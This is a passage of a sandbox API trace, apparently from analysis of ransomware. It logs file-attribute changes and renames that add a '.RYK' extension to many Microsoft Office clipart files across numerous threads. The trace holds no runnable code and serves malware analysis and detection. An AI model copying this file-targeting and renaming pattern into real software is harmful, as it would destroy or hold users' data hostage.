	[0254.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3340
	os_tid = 0x3a08

	[0254.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF", dwFileAttributes=0x80) returned 0
	[0254.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3341
	os_tid = 0x3a0c

	[0254.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID", dwFileAttributes=0x80) returned 0
	[0254.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3342
	os_tid = 0x3a10

	[0254.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID", dwFileAttributes=0x80) returned 0
	[0254.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3343
	os_tid = 0x3a14

	[0254.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF", dwFileAttributes=0x80) returned 0
	[0254.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3347
	os_tid = 0x3a24

	[0254.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF", dwFileAttributes=0x80) returned 0
	[0254.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.583] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3348
	os_tid = 0x3a28

	[0254.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF", dwFileAttributes=0x80) returned 0
	[0254.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3349
	os_tid = 0x3a2c

	[0254.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF", dwFileAttributes=0x80) returned 0
	[0254.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3350
	os_tid = 0x3a30

	[0254.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF", dwFileAttributes=0x80) returned 0
	[0254.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3351
	os_tid = 0x3a34

	[0254.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF", dwFileAttributes=0x80) returned 0
	[0254.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.578] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3352
	os_tid = 0x3a38

	[0254.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF", dwFileAttributes=0x80) returned 0
	[0254.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3353
	os_tid = 0x3a40

	[0254.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF", dwFileAttributes=0x80) returned 0
	[0254.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.591] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3354
	os_tid = 0x3a44

	[0254.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF", dwFileAttributes=0x80) returned 0
	[0254.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.590] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3355
	os_tid = 0x3a48

	[0254.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF", dwFileAttributes=0x80) returned 0
	[0255.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3356
	os_tid = 0x3a4c

	[0254.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF", dwFileAttributes=0x80) returned 0
	[0255.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3357
	os_tid = 0x3a50

	[0254.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF", dwFileAttributes=0x80) returned 0
	[0255.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3358
	os_tid = 0x3a54

	[0254.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF", dwFileAttributes=0x80) returned 0
	[0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3359
	os_tid = 0x3a58

	[0254.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF", dwFileAttributes=0x80) returned 0
	[0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3360
	os_tid = 0x3a5c

	[0254.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF", dwFileAttributes=0x80) returned 0
	[0254.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3361
	os_tid = 0x3a60

	[0254.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF", dwFileAttributes=0x80) returned 0
	[0254.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3362
	os_tid = 0x3a68

	[0254.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF", dwFileAttributes=0x80) returned 0
	[0254.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3363
	os_tid = 0x3a6c

	[0254.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF", dwFileAttributes=0x80) returned 0
	[0254.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.214] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3364
	os_tid = 0x3a70

	[0254.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF", dwFileAttributes=0x80) returned 0
	[0254.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3365
	os_tid = 0x3a74

	[0254.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF", dwFileAttributes=0x80) returned 0
	[0254.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3366
	os_tid = 0x3a78

	[0254.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF", dwFileAttributes=0x80) returned 0
	[0254.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.211] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3367
	os_tid = 0x3a7c

	[0254.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF", dwFileAttributes=0x80) returned 0
	[0254.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3368
	os_tid = 0x3a80

	[0254.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF", dwFileAttributes=0x80) returned 0
